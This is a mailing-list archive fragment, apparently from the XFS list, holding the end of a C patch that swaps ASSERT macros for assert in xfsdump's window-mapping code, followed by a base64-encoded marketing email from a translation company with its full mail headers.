ASSERT( ( firstoff & ( off64_t )pgmask ) == 0 ); - ASSERT( ( segsz & pgmask ) == 0 ); + assert( ( firstoff & ( off64_t )pgmask ) == 0 ); + assert( ( segsz & pgmask ) == 0 ); /* allocate and initialize transient state */ - ASSERT( tranp == 0 ); + assert( tranp == 0 ); tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); - ASSERT( tranp ); + assert( tranp ); tranp->t_fd = fd; tranp->t_firstoff = firstoff; @@ -170,7 +171,7 @@ win_init( intgen_t fd, tranp->t_segmaplen = SEGMAP_INCR; tranp->t_segmap = (win_t **) calloc( tranp->t_segmaplen, sizeof(win_t *) ); - ASSERT( tranp->t_segmap ); + assert( tranp->t_segmap ); /* initialize critical region enforcer */ @@ -203,8 +204,8 @@ win_map( segix_t segix, void **pp ) "win_map(): requested segment already mapped\n"); #endif if ( winp->w_refcnt == 0 ) { - ASSERT( tranp->t_lruheadp ); - ASSERT( tranp->t_lrutailp ); + assert( tranp->t_lruheadp ); + assert( tranp->t_lrutailp ); if ( tranp->t_lruheadp == winp ) { if ( tranp->t_lrutailp == winp ) { tranp->t_lruheadp = 0; @@ -225,8 +226,8 @@ win_map( segix_t segix, void **pp ) winp->w_prevp = 0; winp->w_nextp = 0; } else { - ASSERT( ! winp->w_prevp ); - ASSERT( ! winp->w_nextp ); + assert( ! winp->w_prevp ); + assert( ! winp->w_nextp ); } winp->w_refcnt++; *pp = winp->w_p; @@ -243,7 +244,7 @@ win_map( segix_t segix, void **pp ) "win_map(): create a new window\n"); #endif winp = ( win_t * )calloc( 1, sizeof( win_t )); - ASSERT( winp ); + assert( winp ); tranp->t_wincnt++; } else if ( tranp->t_lruheadp ) { /* REFERENCED */ @@ -252,7 +253,7 @@ win_map( segix_t segix, void **pp ) mlog(MLOG_DEBUG | MLOG_TREE | MLOG_NOLOCK, "win_map(): get head from lru freelist & unmap\n"); #endif - ASSERT( tranp->t_lrutailp ); + assert( tranp->t_lrutailp ); winp = tranp->t_lruheadp; tranp->t_lruheadp = winp->w_nextp; if ( tranp->t_lruheadp ) { @@ -262,10 +263,10 @@ win_map( segix_t segix, void **pp ) } tranp->t_segmap[winp->w_segix] = NULL; rval = munmap( winp->w_p, tranp->t_segsz ); - ASSERT( ! rval ); + assert( ! rval ); memset( ( void * )winp, 0, sizeof( win_t )); } else { - ASSERT( tranp->t_wincnt == tranp->t_winmax ); + assert( tranp->t_wincnt == tranp->t_winmax ); *pp = NULL; CRITICAL_END(); mlog( MLOG_NORMAL | MLOG_WARNING, _( @@ -279,12 +280,12 @@ win_map( segix_t segix, void **pp ) /* map the window */ - ASSERT( tranp->t_segsz >= 1 ); - ASSERT( tranp->t_firstoff + assert( tranp->t_segsz >= 1 ); + assert( tranp->t_firstoff <= OFF64MAX - segoff - ( off64_t )tranp->t_segsz + 1ll ); - ASSERT( ! ( tranp->t_segsz % pgsz )); - ASSERT( ! ( ( tranp->t_firstoff + segoff ) % ( off64_t )pgsz )); + assert( ! ( tranp->t_segsz % pgsz )); + assert( ! ( ( tranp->t_firstoff + segoff ) % ( off64_t )pgsz )); #ifdef TREE_DEBUG mlog(MLOG_DEBUG | MLOG_TREE | MLOG_NOLOCK, "win_map(): mmap segment at %lld, size = %llu\n", @@ -317,7 +318,7 @@ win_map( segix_t segix, void **pp ) return; } winp->w_segix = segix; - ASSERT( winp->w_refcnt == 0 ); + assert( winp->w_refcnt == 0 ); winp->w_refcnt++; tranp->t_segmap[winp->w_segix] = winp; @@ -335,36 +336,36 @@ win_unmap( segix_t segix, void **pp ) /* verify window mapped */ - ASSERT( segix < tranp->t_segmaplen ); + assert( segix < tranp->t_segmaplen ); winp = tranp->t_segmap[segix]; - ASSERT( winp ); + assert( winp ); /* validate p */ - ASSERT( pp ); - ASSERT( *pp ); - ASSERT( *pp >= winp->w_p ); - ASSERT( *pp < ( void * )( ( char * )( winp->w_p ) + tranp->t_segsz )); + assert( pp ); + assert( *pp ); + assert( *pp >= winp->w_p ); + assert( *pp < ( void * )( ( char * )( winp->w_p ) + tranp->t_segsz )); /* decrement the reference count. if zero, place at tail of LRU list. */ - ASSERT( winp->w_refcnt > 0 ); + assert( winp->w_refcnt > 0 ); winp->w_refcnt--; - ASSERT( ! winp->w_prevp ); - ASSERT( ! winp->w_nextp ); + assert( ! winp->w_prevp ); + assert( ! winp->w_nextp ); if ( winp->w_refcnt == 0 ) { if ( tranp->t_lrutailp ) { - ASSERT( tranp->t_lruheadp ); + assert( tranp->t_lruheadp ); winp->w_prevp = tranp->t_lrutailp; tranp->t_lrutailp->w_nextp = winp; tranp->t_lrutailp = winp; } else { - ASSERT( ! tranp->t_lruheadp ); - ASSERT( ! winp->w_prevp ); + assert( ! tranp->t_lruheadp ); + assert( ! winp->w_prevp ); tranp->t_lruheadp = winp; tranp->t_lrutailp = winp; } - ASSERT( ! winp->w_nextp ); + assert( ! winp->w_nextp ); } /* zero the caller's pointer @@ -385,7 +386,7 @@ win_segmap_resize(segix_t segix) tranp->t_segmaplen = segix + SEGMAP_INCR; tranp->t_segmap = (win_t **) realloc( tranp->t_segmap, tranp->t_segmaplen * sizeof(win_t *) ); - ASSERT( tranp->t_segmap ); + assert( tranp->t_segmap ); /* clear the new portion of the array */ new_part = tranp->t_segmap + oldlen; -- 2.5.0 From market@wonderfultrans.com Thu Oct 15 21:24:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DF6B57F3F for ; Thu, 15 Oct 2015 21:24:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A41D78F8049 for ; Thu, 15 Oct 2015 19:24:33 -0700 (PDT) X-ASG-Debug-ID: 1444962266-04bdf06db35e6e0001-NocioJ Received: from smtp-3-51.sina.net (mta319.sina.net [202.106.182.209]) by cuda.sgi.com with SMTP id CgZHyw95bby5TT7K for ; Thu, 15 Oct 2015 19:24:27 -0700 (PDT) X-Barracuda-Envelope-From: market@wonderfultrans.com X-Barracuda-Apparent-Source-IP: 202.106.182.209 Received: from unknown (HELO vweb.sina.net)([10.69.2.165]) by sina.net with SMTP 16 Oct 2015 10:24:24 +0800 (CST) X-Sender: market@wonderfultrans.com X-SMAIL-MID: 7998624334066 Received: by webmail-2-165.iproxy.email.yf.sinanode.com (Postfix, from userid 99) id CA2176175D; Fri, 16 Oct 2015 10:24:24 +0800 (CST) Date: Fri, 16 Oct 2015 10:24:24 +0800 Received: from market@wonderfultrans.com([180.173.43.42]) by bj4.mail.sina.net via HTTP; Fri, 16 Oct 2015 10:24:24 +0800 (CST) Reply-To: market@wonderfultrans.com From: To: "market" Subject: More Than 12 Years of Translation Industry Experience from Shanghai Wonderful Translation Company(Quality and Reliability 2015) MIME-Version: 1.0 X-ASG-Orig-Subj: More Than 12 Years of Translation Industry Experience from Shanghai Wonderful Translation Company(Quality and Reliability 2015) X-Priority: 3 X-MessageID: 1444962264.728.30849 X-Originating-IP: [218.30.122.121] X-Mailer: Sina WebMail 4.0 Content-Type: multipart/alternative; boundary="=-sinamail_alt_ba160c948b0faf395c490fff3c49fb05" Message-Id: <20151016022424.CA2176175D@webmail-2-165.iproxy.email.yf.sinanode.com> X-Barracuda-Connect: mta319.sina.net[202.106.182.209] X-Barracuda-Start-Time: 1444962266 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_MISMATCH_TO, BSF_SC0_SA609_NRN, BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23534 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 1.10 BSF_SC0_SA609_NRN Custom Rule SA609_NRN --=-sinamail_alt_ba160c948b0faf395c490fff3c49fb05 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline DQoNCkRlYXIgTWFuYWdlciwgCldpdGggdGhlIGJlc3QgaW50ZW50aW9uLCB3ZSBhcmUgd3JpdGlu ZyB0aGlzIGxldHRlciB0byBzZWUgaWYgdGhlcmUgaXMgYW55IHBvc3NpYmlsaXR5IHRoYXQgd2Ug Y291bGQgd29yayB0b2dldGhlciBhcyBnbG9iYWwgcGFydG5lcnMuIApTaGFuZ2hhaSBXb25kZXJm dWwgVHJhbnNsYXRpb24gQ29tcGFueSwgYSBsZWFkaW5nIHRyYW5zbGF0aW9uICYgaW50ZXJwcmV0 YXRpb24gY29tcGFueSBpbiBDaGluYSwgZGVkaWNhdGVzIGl0c2VsZiBpbiBwcm92aWRpbmcgb3Vy IGNsaWVudHMgd2l0aCBoaWdobHkgcHJvZmVzc2lvbmFsIGxhbmd1YWdlIHNvbHV0aW9ucy4gRm9j dXNpbmcgb24gdGhlIGVuZ2luZWVyaW5nLCBtYW51ZmFjdHVyaW5nLCB3ZWJzaXRlICYgc29mdHdh cmUgbG9jYWxpemF0aW9uIGZpZWxkcywgd2UgaGF2ZSBkZWZpbmVkIGFuIGltcG9ydGFudCBjbGll bnQgYmFzZS4gClBsZWFzZSB0ZWxsIHVzIGlmIHlvdSBuZWVkIG91ciBwcm9mZXNzaW9uYWwgdHJh bnNsYXRpb24gc2VydmljZXMgYWZ0ZXIgeW91IGdvIHRocm91Z2ggdGhpcyBsZXR0ZXIuIFRoYW5r IHlvdSEgClRoZSBhZHZhbnRhZ2VzIG9mIHdvcmtpbmcgd2l0aCB1czogCjEuIFJlZHVjZSBZb3Vy IENvc3QKVGhlIHByaWNlcyB3ZSBvZmZlciBhcmUgbXVjaCBsb3dlciB0aGFuIHRoYXQgb2Ygb3Ro ZXIgdHJhbnNsYXRpb24gY29tcGFuaWVzLiBGb3IgZXhhbXBsZSwgaXQgbWF5IGNvc3QgMTAwIFVT RCBmb3IgdHJhbnNsYXRpbmcgYSBkb2N1bWVudCBpbiB5b3VyIGNvdW50cnksIGFuZCBpdCBjb3N0 cyBvbmx5IDQwIFVTRCBmb3IgdHJhbnNsYXRpbmcgdGhlIHNhbWUgZG9jdW1lbnQgaW4gbXkgY29t cGFueS4gCjIuIENvcmUgQ29tcGV0aXRpdmUgRWRnZQpBcyB5b3Uga25vdywgQ2hpbmVzZSBpcyBv dXIgbmF0aXZlIGxhbmd1YWdlLCB3ZSBhc3N1cmUgeW91IG9mIDEwMCUgaGlnaCBxdWFsaXR5IGlu IHRoZSBtdXR1YWwgdHJhbnNsYXRpb24gYmV0d2VlbiBDaGluZXNlIGFuZCBvdGhlciBsYW5ndWFn ZXMuIE91ciBjb21wYW55IHNwZWNpYWxpemVzIGluIEFzaWFuIGxhbmd1YWdlIHRyYW5zbGF0aW9u LiBPdXIgY29tcGFueSBoYXMgd29uIGEgZ29vZCByZXB1dGF0aW9uIGluIHdlYnNpdGUgJiBzb2Z0 d2FyZSBsb2NhbGl6YXRpb24gZm9yIGNvbXBhbmllcyBpbiBKYXBhbi4gCjMuIEd1YXJhbnRlZWQg UXVhbGl0eQpXZSB1dGlsaXplIHRoZSBsYXRlc3QgdGVjaG5vbG9naWNhbCBhZHZhbmNlbWVudHMg dG8gbWVldCBhbGwgb2YgeW91ciBuZWVkcyBpbiBtb3N0IHN0YW5kYXJkIHNvZnR3YXJlIGFwcGxp Y2F0aW9ucywgc3VjaCBhcyBRdWFya1hwcmVzcywgQWRvYmUgSW5EZXNpZ24sIEFkb2JlIFBhZ2Vt YWtlciwgQWRvYmUgRnJhbWVNYWtlciwgZXRjLiBGdXJ0aGVyIG1vcmUsIHdlIGNhbiBhY2NvbW1v ZGF0ZSB5b3VyIG5lZWRzIGZvciBib3RoIE1hYyBhbmQgUEMgcGxhdGZvcm1zIHdpdGggYSB2YXJp ZXR5IG9mIGZvbnRzIGZvciBhbGwgZGlmZmVyZW50IGxhbmd1YWdlcy4gCjQuIEhpZ2ggU3BlZWQK NTAwMCBFbmdsaXNoIHdvcmRzL2RheS9vbmUgdHJhbnNsYXRvci4gCjUuIENvbmZpZGVudGlhbGl0 eQpXZSBzaWduIGNvbnRyYWN0cyB0byBwcm90ZWN0IG91ciBjdXN0b21lcnPigJkgcHJpdmFjeS4g CjYuIExlc3MgV29ycnkKV2UgaGF2ZSBVU0QgaW50ZXJtZWRpYXJ5IGJhbmssIHRoZSBmb3JlaWdu IGV4Y2hhbmdlIGNhbiBiZSB0cmFuc21pdHRlZCBkaXJlY3RseSBpbnRvIG91ciBjb21wYW554oCZ cyBiYW5rLiBJdOKAmXMgZWFzeSBhbmQgc2FmZS4gCkZvciBmdXJ0aGVyIGluZm9ybWF0aW9uLCBw bGVhc2Ugc2VlIHRoZSBhdHRhY2hlZCBjb21wYW55IHByb2ZpbGUgYW5kIHlvdSBhcmUgd2VsY29t ZSB0byBsb2cgb24gb3VyIHdlYnNpdGU6IHd3dy5zaHdkZi5jb20gCldlIHdvdWxkIGdyZWF0bHkg YXBwcmVjaWF0ZSBpdCBpZiB5b3Ugd291bGQgc2VyaW91c2x5IGNvbnNpZGVyIG91ciBwcm9wb3Nh bC4gCkJlc3QgcmVnYXJkcw0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCiANCkx1Y3kK QWNjb3VudCBFeGVjdXRpdmUgCk1vYmlsZSBQaG9uZTogMTg5MTczODg0NjIgCkVtYWlsOiB3ZGZA c2h3ZGYuY29tIApRUTo0MTI5NTQ1MDANCkFkZDogQTExMDUsIDIyOCBaaGFuZ3lhbmcgUm9hZCwg VG9tc29uIENlbnRlciwgTHVqaWF6dWkgRmluYW5jaWFsJlRyYWRlIFpvbmUsIFB1ZG9uZywgU2hh bmdoYWksIDIwMDEyMg== --=-sinamail_alt_ba160c948b0faf395c490fff3c49fb05 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline PERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2JvZHk+DQo8RElWIHN0eWxlPSJCQUNLR1JP VU5EOiAjZjJmMmYyIj5EZWFyIE1hbmFnZXIsIDxCUj5XaXRoIHRoZSBiZXN0IGludGVudGlvbiwg d2UgYXJlIHdyaXRpbmcgdGhpcyBsZXR0ZXIgdG8gc2VlIGlmIHRoZXJlIGlzIGFueSBwb3NzaWJp bGl0eSB0aGF0IHdlIGNvdWxkIHdvcmsgdG9nZXRoZXIgYXMgZ2xvYmFsIHBhcnRuZXJzLiA8QlI+ U2hhbmdoYWkgV29uZGVyZnVsIFRyYW5zbGF0aW9uIENvbXBhbnksIGEgbGVhZGluZyB0cmFuc2xh dGlvbiAmYW1wOyBpbnRlcnByZXRhdGlvbiBjb21wYW55IGluIENoaW5hLCBkZWRpY2F0ZXMgaXRz ZWxmIGluIHByb3ZpZGluZyBvdXIgY2xpZW50cyB3aXRoIGhpZ2hseSBwcm9mZXNzaW9uYWwgbGFu Z3VhZ2Ugc29sdXRpb25zLiBGb2N1c2luZyBvbiB0aGUgZW5naW5lZXJpbmcsIG1hbnVmYWN0dXJp bmcsIHdlYnNpdGUgJmFtcDsgc29mdHdhcmUgbG9jYWxpemF0aW9uIGZpZWxkcywgd2UgaGF2ZSBk ZWZpbmVkIGFuIGltcG9ydGFudCBjbGllbnQgYmFzZS4gPEJSPlBsZWFzZSB0ZWxsIHVzIGlmIHlv dSBuZWVkIG91ciBwcm9mZXNzaW9uYWwgdHJhbnNsYXRpb24gc2VydmljZXMgYWZ0ZXIgeW91IGdv IHRocm91Z2ggdGhpcyBsZXR0ZXIuIFRoYW5rIHlvdSEgPEJSPlRoZSBhZHZhbnRhZ2VzIG9mIHdv cmtpbmcgd2l0aCB1czogPEJSPjEuIFJlZHVjZSBZb3VyIENvc3Q8QlI+VGhlIHByaWNlcyB3ZSBv ZmZlciBhcmUgbXVjaCBsb3dlciB0aGFuIHRoYXQgb2Ygb3RoZXIgdHJhbnNsYXRpb24gY29tcGFu aWVzLiBGb3IgZXhhbXBsZSwgaXQgbWF5IGNvc3QgMTAwIFVTRCBmb3IgdHJhbnNsYXRpbmcgYSBk b2N1bWVudCBpbiB5b3VyIGNvdW50cnksIGFuZCBpdCBjb3N0cyBvbmx5IDQwIFVTRCBmb3IgdHJh bnNsYXRpbmcgdGhlIHNhbWUgZG9jdW1lbnQgaW4gbXkgY29tcGFueS4gPEJSPjIuIENvcmUgQ29t cGV0aXRpdmUgRWRnZTxCUj5BcyB5b3Uga25vdywgQ2hpbmVzZSBpcyBvdXIgbmF0aXZlIGxhbmd1 YWdlLCB3ZSBhc3N1cmUgeW91IG9mIDEwMCUgaGlnaCBxdWFsaXR5IGluIHRoZSBtdXR1YWwgdHJh bnNsYXRpb24gYmV0d2VlbiBDaGluZXNlIGFuZCBvdGhlciBsYW5ndWFnZXMuIE91ciBjb21wYW55 IHNwZWNpYWxpemVzIGluIEFzaWFuIGxhbmd1YWdlIHRyYW5zbGF0aW9uLiBPdXIgY29tcGFueSBo YXMgd29uIGEgZ29vZCByZXB1dGF0aW9uIGluIHdlYnNpdGUgJmFtcDsgc29mdHdhcmUgbG9jYWxp emF0aW9uIGZvciBjb21wYW5pZXMgaW4gSmFwYW4uIDxCUj4zLiBHdWFyYW50ZWVkIFF1YWxpdHk8 QlI+V2UgdXRpbGl6ZSB0aGUgbGF0ZXN0IHRlY2hub2xvZ2ljYWwgYWR2YW5jZW1lbnRzIHRvIG1l ZXQgYWxsIG9mIHlvdXIgbmVlZHMgaW4gbW9zdCBzdGFuZGFyZCBzb2Z0d2FyZSBhcHBsaWNhdGlv bnMsIHN1Y2ggYXMgUXVhcmtYcHJlc3MsIEFkb2JlIEluRGVzaWduLCBBZG9iZSBQYWdlbWFrZXIs IEFkb2JlIEZyYW1lTWFrZXIsIGV0Yy4gRnVydGhlciBtb3JlLCB3ZSBjYW4gYWNjb21tb2RhdGUg eW91ciBuZWVkcyBmb3IgYm90aCBNYWMgYW5kIFBDIHBsYXRmb3JtcyB3aXRoIGEgdmFyaWV0eSBv ZiBmb250cyBmb3IgYWxsIGRpZmZlcmVudCBsYW5ndWFnZXMuIDxCUj40LiBIaWdoIFNwZWVkPEJS PjUwMDAgRW5nbGlzaCB3b3Jkcy9kYXkvb25lIHRyYW5zbGF0b3IuIDxCUj41LiBDb25maWRlbnRp YWxpdHk8QlI+V2Ugc2lnbiBjb250cmFjdHMgdG8gcHJvdGVjdCBvdXIgY3VzdG9tZXJz4oCZIHBy aXZhY3kuIDxCUj42LiBMZXNzIFdvcnJ5PEJSPldlIGhhdmUgVVNEIGludGVybWVkaWFyeSBiYW5r LCB0aGUgZm9yZWlnbiBleGNoYW5nZSBjYW4gYmUgdHJhbnNtaXR0ZWQgZGlyZWN0bHkgaW50byBv dXIgY29tcGFueeKAmXMgYmFuay4gSXTigJlzIGVhc3kgYW5kIHNhZmUuIDxCUj5Gb3IgZnVydGhl ciBpbmZvcm1hdGlvbiwgcGxlYXNlIHNlZSB0aGUgYXR0YWNoZWQgY29tcGFueSBwcm9maWxlIGFu ZCB5b3UgYXJlIHdlbGNvbWUgdG8gbG9nIG9uIG91ciB3ZWJzaXRlOiA8QSBocmVmPSJ3bG1haWxo dG1sOntEMTZCRkQ3MC01MENFLTRFQzUtQTJCNy0yN0FENDMyNDYwMjF9bWlkOi8vMDAwMDAyMDkv IXgtdXNjOmh0dHA6Ly93d3cuc2h3ZGYuY29tLyIgdGFyZ2V0PV9ibGFuayBfYWN0PSJjaGVja19k b21haWwiPjxGT05UIGNvbG9yPSM0MDQwNDA+d3d3LnNod2RmLmNvbTwvRk9OVD48L0E+IDxCUj5X ZSB3b3VsZCBncmVhdGx5IGFwcHJlY2lhdGUgaXQgaWYgeW91IHdvdWxkIHNlcmlvdXNseSBjb25z aWRlciBvdXIgcHJvcG9zYWwuIDxCUj5CZXN0IHJlZ2FyZHM8L0RJVj4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPFAgc3R5bGU9IkJBQ0tHUk9VTkQ6IHJnYigyNDIsMjQy LDI0MikiPiZuYnNwOzwvUD4NCjxQIHN0eWxlPSJCQUNLR1JPVU5EOiByZ2IoMjQyLDI0MiwyNDIp 